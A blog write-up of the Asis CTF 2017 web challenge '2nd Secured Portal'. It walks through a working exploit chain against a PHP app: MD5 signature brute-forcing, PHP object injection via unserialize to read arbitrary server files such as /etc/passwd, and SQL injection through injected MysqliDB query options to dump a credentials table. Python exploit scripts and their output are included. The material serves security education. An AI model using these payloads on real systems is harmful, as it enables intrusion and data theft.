Asis CTF 2017 - 2nd Secured Portal Write Up

Published on Sunday, 09 April 2017 in Security ; tagged with asis, ctf, write-up, web, challenge, php, object, injection, unserialize ; text version

The Asis CTF was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal.

2nd Secured Portal

In this write-up, I am covering the second level: 2nd Secured Portal.

Source code

From the first Secured Portal level, we downloaded the source code of the challenge:

2nd Secured Portal Source Code

After importing the files in a new PHPStorm project, we see that two of them have only contain DAMAGED: authentication.class.php and configuration.php. The first goal would be to read them on the server somehow.

Now that we have the secret key __sessionKey used in the md5 signature, we could move the signature brute-force client-side to avoid having to send tons of requests to the server:

import re
import sys
import base64
import string
import hashlib

URL = 'http://46.101.96.182/panel/index'
KEY = 'THEKEYISHEREWOW!'
SIG = '00000000000000000000000000000000'
p = re.compile('0+[eE]\d{4}.*')
template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}'

for c in string.letters + string.digits:
    for i in range(0, 500):
        OBJ = template % (i, c * i)
        real_sign = hashlib.md5(OBJ + KEY).hexdigest()
        if p.match(real_sign[:6]):
            print('found collision')
            print(OBJ)
            print(base64.b64encode(OBJ))
            sys.exit(0)

At this stage, we fully controlled the data being unserialized and we can therefore inject any objects implementing magic methods (such as __construct, __destruct, __toString) thanks to the call to unserialize we spotted in the first level. Going through the different PHP files, we could leverage logFile.class.php to read any file on the server.

Read remote files

The log class implements the __toString method that will call the function whose name is specified in the protected attribute $_method:

<?php
abstract class log {

    /**
     * holding function name
     * @var string
     */
    protected $_method = 'toString';

    /**
     * @return string
     */
    function __toString(){
        return $this->{$this->_method}();
    }

}
?>

If we forge a log object with an attribute different than toString, we could call any methods. Because log is abstract, we cannot use it as-is but the logFile class inherits from it!

<?php
class logFile extends log {

    /**
     * default filename variable
     * @var string
     */
    private $__logName = 'default.log';

    /**
     * reading logs by the filename
     *
     * @param string $logName
     * @return string
     */
    function readLog($logName=null){
        if($logName!==null)
            $this->__logName = $logName;

        if($this->__logName)
            return  file_get_contents('logs/' . $this->__logName);
    }

    /**
     * submitting new logs on the file
     *
     * @param string $logName
     * @param string $action
     * @return boolean
     */
    function doLog($logName=null, $action='login'){
        $this->__logName = ($logName===null)? time().'.log':$logName;
        $this->__action = ($action===null)?'Test':$action;

        if($this->__logName)
            return file_put_contents('logs/' . $this->__logName, $this->__action);
    }

    /**
     * toString function
     *
     * @return string
     */
    function toString(){
        return serialize($this);
    }
}
?>

Remember, we cannot call arbitrary functions but only methods of the class itself due to the $this-> in log.__toString.

However, if we set _method to readLog and we craft a logFile object with the private attribute __logName set to the file we want to read on the server, we should be able to read any file. We would have been able to write arbitrary files on the server as well, if only we could have controlled __action. Sadly, it is not possible since it can only have the value Test or $action and because of how our object is called, we cannot control $action.

So we should serialize the following object to read arbitrary files:

<?php
class logFile extends log {
    protected $_method = 'readLog';
    private $__logName = '../../../../../../../../etc/passwd';
    /* . . . */
}
$l = new logFile();
$payload = array("logged" => true, $l, "foo" => "A");
echo base64_encode(serialize($payload));

Trigger the exploit

One thing is missing though. The method readLog will be called only when __toString is called. With the payload above, logFile.__toString is never called so we must find a way to trigger it. If we look at the panel.class.php we can see the following code:

<?php
class panel extends main {
    /* . . . */
    /**
     * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
     */
    function contact(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        /**
         * setting fullName to anonymous or the real name
         */
        $this->fullName = 'anonymous';
        if(@$this->data['title'] == 'mr.' or @$this->data['title'] == 'ms.') {
            $this->fullName = $this->data['title'] . $this->data['username'];
        }

        /**
         * setting fullName to anonymous or the real name
         */
        if(array_key_exists('contactUs', $_GET)){
            if(array_key_exists('message', $_GET))
                $message = $_POST['message'];

            /*
             * check message validity
             */
            $userCurl = (new userCurl(__SERVER_2, $message))->sendPOST();

            /*
             * printing response to the user
             */
            if($userCurl==='valid')
                echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>true, 'message'=>'We have received you message, our administrator will be reading your issue as soon as possible'));
            else
                echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>false, 'message'=>'It seems the message sent is not in the valid format.', 'error'=>$userCurl));
        }
    }
    /* . . . */

When requesting /panel/contact, we have full control of $this->data (thanks to the call to unserialize). We therefore control data['username']. If you look closely, the username will be concatenated to the title variable in order to create fullName. So if username is our injected logFile object, logFile.__toString will be called when PHP performs the concatenation, and logFile.readFile will therefore be called as well.

In addition, we can read the result of the concatenation thanks to the call to json_encode that will contain fullname, which is title concatenated with the result of username.__toString.

All we need to do is request /panel/contact with the right parameters. I wrote a small python script that would take the filename as parameter and forge the corresponding PHP object to simplify the search:

import re
import sys
import base64
import string
import hashlib
import requests

URL = 'http://46.101.96.182/panel/contact'
KEY = 'THEKEYISHEREWOW!'
SIG = '0e462097431906509019562988736854'
p = re.compile('0+[eE]\d{4}.*')

def do_read(f):
    # Don't forget the NULL-bytes...
    template = 'a:4:{s:6:"logged";b:1;s:8:"username";O:7:"logFile":2:{s:18:"\x00logFile\x00__logName";s:' + str(len(f)) + ':"' + f + '";s:10:"\x00*\x00_method";s:7:"readLog";}s:5:"title";s:3:"mr.";s:3:"foo";s:%d:"%s";}'
    for c in string.letters + string.digits:
        for i in range(0, 500):
            OBJ = template % (i, c * i)
            real_sign = hashlib.md5(OBJ + KEY).hexdigest()
            if p.match(real_sign[:6]):
                r = requests.post(URL, params={'auth': base64.b64encode(OBJ) + SIG}, data={'contactUs':'true','message':'test'})
                res = r.text
                if len(res) != 719:  # 719 is the size of an empty answer
                    # Replace to beautify the output
                    print res.replace('\\\\', '\\').replace('\\n', '\n').replace('\\\\', '')
                sys.exit(0)

if __name__ == '__main__':
    do_read(sys.argv[1])

It can be used to read /etc/passwd for instance:

$ ./read.py ../../../../../../../etc/passwd
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Ultra Secured Portal</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
    <link rel="stylesheet" href="/css/theme.css">
</head>
<body>
<center><h1><b>Ultra Secured Portal</b></h1></center>
<div class="container">
{"name":"\"mr.root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[. . .]
pollinate:x:111:1::/var/cache/pollinate:/bin/false
mysql:x:112:116:MySQL Server,,,:/nonexistent:/bin/false
\"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}</div>
<div class="modal"></div>
<script src="/js/jquery-3.2.0.js"></script>
<script src="/js/bootstrap.min.js"></script>
<script src="/js/functions.js"></script>
</body>
</html>

Now we can download the missing configuration.php and authentication.class.php PHP files.

I also tried to read as many files as possible (e.g. apache.conf, my.cnf, etc.), hoping to find a clue where the flag would be. Reading them didn't help much, except to know some basic information such as the fact that Apache is running as www-data. I attempted to read the MySQL database on-disk using the remote file disclosure but since we are running as www-data, it would have been surprising if it was successful.

I also attempted to execute some code on the server by abusing /proc/self/environ and /proc/self/fd/<id>, until I realized that although I could potentially read the result (I couldn't by the way), it would not interpret the injected PHP code since we have file_get_contents and not include.

One thing started to become more and more obvious: we had to read the database somehow. From the configuration file, we have the parameters we need to instantiate the DB:

<?php
define('__SERVER_2', 'http://messageService.private/messageService.php');
define('__DB_HOST', 'localhost');
define('__DB_USERNAME', 'user');
define('__DB_PASSWORD', 'password');
define('__DB_DATABASE', 'ultraSecured');
define('__PORTAL__', TRUE);
define('__MAINTENANCE__', TRUE);

And with authentication.class.php, we had the name of the table that would be interesting to dump:

<?php
class authentication extends main {
/* . . . */
    function login($loginString){
        /* . . . */
        /*
         * authenticating user by loginString
         */
        $result = $this->__db->where("username", @$credentials[0])->where("password", md5($credentials[1]))->getOne('credentials');
        /* . . . */

However, I couldn't find a way to control the SQL query... Looking at logDB.class.php, we have a similar case than with logFile. It inherits from log and has a readLog method that we could call:

<?php
class logDB extends log {
/* . . . */
    function readLog($id=null){
        if($id!==null)
            $this->__ID = $id;

        if($this->__ID)
            return json_encode($this->__db->where("id", $this->__ID)->getOne('logs'));
    }
/* . . . */

But as we can see, almost everything is hardcoded. We cannot control the table name since it is hardcoded to logs. Or can we? To be honest, I was stuck at that point for a couple of hours. I really couldn't see how one could dump the credentials table using the logDB class.

Down the rabbit hole

Let's dive in and check MysqliDB class because I don't see any other way. I was curious to know if the author of the challenge modified that class in some way so I downloaded the version from the git repository (PHP-MySQLi-Database-Class) and diffed it with the Secured Portal's one:

$ diff MysqliDb.class.php.master MysqliDb.class.php
# . . .
615a617,618
>         //var_dump($this->_query);
> 
# . . .

Not many differences. Most of them are indentation-related but one seemed interesting. The author added a call to var_dump in the method MysqliDB.get and commented it. We surely are on the right track so let's follow the execution flow from the beginning:

There is something very interesting in the get function:

<?php
/**
 * A convenient SELECT * function.
 *
 * @param string  $tableName The name of the database table to work with.
 * @param int|array $numRows Array to define SQL limit in format Array ($count, $offset)
 *                               or only $count
 * @param string $columns Desired columns
 *
 * @return array Contains the returned rows from the select query.
 */
public function get($tableName, $numRows = null, $columns = '*')
{
    if (empty($columns)) {
        $columns = '*';
    }

    $column = is_array($columns) ? implode(', ', $columns) : $columns;

    if (strpos($tableName, '.') === false) {
        $this->_tableName = self::$prefix . $tableName;
    } else {
        $this->_tableName = $tableName;
    }

    $this->_query = 'SELECT ' . implode(' ', $this->_queryOptions) . ' ' . $column . " FROM " . $this->_tableName;
    $stmt = $this->_buildQuery($numRows);

    //var_dump($this->_query);

    if ($this->isSubQuery) {
        return $this;
    }

    $stmt->execute();
    $this->_stmtError = $stmt->error;
    $this->_stmtErrno = $stmt->errno;
    $res = $this->_dynamicBindResults($stmt);
    $this->reset();

    return $res;
}

Right before the call to _buildQuery, MysqliDB checks if there are any query options specified. What's really interesting is that _queryOptions is an attribute of MysqliDB:

<?php
class MysqliDb
{
/* . . . */
    /**
     * The SQL query options required after SELECT, INSERT, UPDATE or DELETE
     * @var string
     */
    protected $_queryOptions = array();
/* . . . */

Because of the PHP object injection, we can control the attributes of the objects we inject. Therefore, we can control the _queryOptions attribute and execute arbitrary queries! All we need to do is make sure that everything after our _queryOptions is commented out. So all in all, we can execute arbitrary SQL queries by injecting the following PHP object:

<?php
class MysqliDB {
    /* . . . */
    protected $_queryOptions = array('*', 'from', 'credentials;#');
    /* . . . */
}

class logDB extends log {
    protected $_method = 'readLog';
    /* . . . */
}

$db = new MysqliDB('localhost', 'user', 'password', 'ultraSecured');
$l = new logDB($db);
$payload = array("logged" => true, "username" => $l, "title" => "mr.", "foo" => "A");
echo serialize($payload);

Which yields the following serialized object:

<?php
a:4:{
    s:6:"logged";b:1;  // `logged` == True
    s:8:"username";O:5:"logDB":3:{
        s:11:"\x00logDB\x00__db";O:8:"MysqliDb":38:{
            . . .
            s:16:"\x00*\x00_queryOptions";a:3:{
                i:0;s:1:"*";i:1;s:4:"from";i:2;s:13:"credentials;#";  // SQL injection to have 'select * from credentials;#'
            }
            // The DB parameters
            s:7:"\x00*\x00host";s:9:"localhost";
            s:12:"\x00*\x00_username";s:4:"user";
            s:12:"\x00*\x00_password";s:8:"password";
            s:5:"\x00*\x00db";s:12:"ultraSecured";
            . . .
            }
        s:10:"\x00*\x00_method";s:7:"readLog";  // _method == 'readLog'
    }
    s:5:"title";s:3:"mr.";  // title to trigger the concatenation
    s:3:"foo";s:1:"A";  // padding
}

We can then update our python script and dump the credentials database:

$ ./dump.py
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Ultra Secured Portal</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
    <link rel="stylesheet" href="/css/theme.css">
</head>
<body>
<center><h1><b>Ultra Secured Portal</b></h1></center>
<div class="container">
{"name":"\"mr.{"id":1,"title":"mr.","username":"ultraS3cur3Us3r","password":"8dbdda48fb8748d6746f1965824e966a","secret":"fl4giSher3.class.php"}\"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}</div>
<div class="modal"></div>
<script src="/js/jquery-3.2.0.js"></script>
<script src="/js/bootstrap.min.js"></script>
<script src="/js/functions.js"></script>
</body>
</html>

There is a secret file fl4giSher3.class.php listed in the secret column. We can use our previous remote file disclosure exploit to dump it:

$ ./read.py ../classes/fl4giSher3.class.php
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Ultra Secured Portal</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
    <link rel="stylesheet" href="/css/theme.css">
</head>
<body>
<center><h1><b>Ultra Secured Portal</b></h1></center>
<div class="container">
{"name":"\"mr.<?php
/**
 * @category  flag
 * @author    ?????
 * @flag      ASIS{Congratz_You_S33m_GURU_in_0bj3ct_Inj3ction_!!}
 */
?>
\"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}</div>
<div class="modal"></div>
<script src="/js/jquery-3.2.0.js"></script>
<script src="/js/bootstrap.min.js"></script>
<script src="/js/functions.js"></script>
</body>
</html>

Second level validated! \o/

Closing word

I mentioned in the introduction that I found the two-steps challenge very interesting and well crafted and I wanted to develop why, just a little bit.

First, what annoys everybody in CTFs are guessing challenges, where you have a step somewhere where you get stuck simply because you didn't think of reading the file index.php.old.bak for instance. Sure, for Secured Portal I spent a couple of hours trying to read random files on the server but it's only because I was too stupid and didn't want to accept that fact that reading arbitrary file was not good enough.

From the beginning, you had all the clues you needed to find the solution:

Second, it was an interesting chain of exploits. In some CTF web challenges, you would need to exploit a single SQL injection and you would have two scenarios. Either it's stupidly stupid (like ' or 1=1;--) or it's pure guessing (with obscure filters, restrictions, etc.). In Secured Portal, it was a chain of exploits where you had all the elements you needed to build and chain each step. Also you couldn't simply copy-paste an exploit from the web after googling php serialize exploit. You really had to fully understand your exploit and the POP chain you were building in order be able to read files, but also dump the database.

Both combined, you had something challenging that did not rely on guessing. This, is how CTF web challenges should be crafted. Kudos to the author(s)!


contactdepier.re License WTFPL2